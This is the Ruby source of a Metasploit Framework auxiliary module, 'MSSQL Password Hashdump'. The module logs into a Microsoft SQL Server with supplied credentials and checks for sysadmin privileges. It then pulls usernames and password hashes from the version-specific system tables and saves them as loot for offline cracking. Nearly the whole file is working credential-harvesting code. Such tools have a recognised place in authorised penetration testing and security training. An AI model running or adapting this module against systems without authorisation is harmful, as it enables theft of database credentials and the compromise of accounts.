metasploit-framework/modules/auxiliary/scanner/mssql/mssql_hashdump.rb

114 lines
2.9 KiB
Ruby

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
class Metasploit3 < Msf::Auxiliary
include Msf::Exploit::Remote::MSSQL
include Msf::Auxiliary::Report
include Msf::Auxiliary::Scanner
def initialize
super(
'Name' => 'MSSQL Password Hashdump',
'Description' => %Q{
This module extracts the usernames and encrypted password
hashes from a MSSQL server and stores them for later cracking.
This module also saves information about the server version and
table names, which can be used to seed the wordlist.
},
'Author' => ['theLightCosine'],
'License' => MSF_LICENSE
)
end
def run_host(ip)
if (not mssql_login_datastore)
print_error("#{rhost}:#{rport} - Invalid SQL Server credentials")
return
end
#Grabs the Instance Name and Version of MSSQL(2k,2k5,2k8)
instancename= mssql_query(mssql_enumerate_servername())[:rows][0][0].split('\\')[1]
print_status("Instance Name: #{instancename.inspect}")
version = mssql_query(mssql_sql_info())[:rows][0][0]
version_year = version.split('-')[0].slice(/\d\d\d\d/)
mssql_hashes = mssql_hashdump(version_year)
unless mssql_hashes.nil?
report_hashes(mssql_hashes,version_year)
end
end
#Stores the grabbed hashes as loot for later cracking
#The hash format is slightly different between 2k and 2k5/2k8
def report_hashes(mssql_hashes, version_year)
case version_year
when "2000"
hashtype = "mssql.hashes"
when "2005", "2008"
hashtype = "mssql05.hashes"
end
this_service = report_service(
:host => datastore['RHOST'],
:port => datastore['RPORT'],
:name => 'mssql',
:proto => 'tcp'
)
tbl = Rex::Ui::Text::Table.new(
'Header' => 'MS SQL Server Hashes',
'Indent' => 1,
'Columns' => ['Username', 'Hash']
)
hash_loot=""
mssql_hashes.each do |row|
next if row[0].nil? or row[1].nil?
next if row[0].empty? or row[1].empty?
tbl << [row[0], row[1]]
print_good("#{rhost}:#{rport} - Saving #{hashtype} = #{row[0]}:#{row[1]}")
end
filename= "#{datastore['RHOST']}-#{datastore['RPORT']}_sqlhashes.txt"
store_loot(hashtype, "text/plain", datastore['RHOST'], tbl.to_csv, filename, "MS SQL Hashes", this_service)
end
#Grabs the user tables depending on what Version of MSSQL
#The queries are different between 2k and 2k/2k8
def mssql_hashdump(version_year)
is_sysadmin = mssql_query(mssql_is_sysadmin())[:rows][0][0]
if is_sysadmin == 0
print_error("#{rhost}:#{rport} - The provided credentials do not have privileges to read the password hashes")
return nil
end
case version_year
when "2000"
results = mssql_query(mssql_2k_password_hashes())[:rows]
when "2005", "2008"
results = mssql_query(mssql_2k5_password_hashes())[:rows]
end
return results
end
end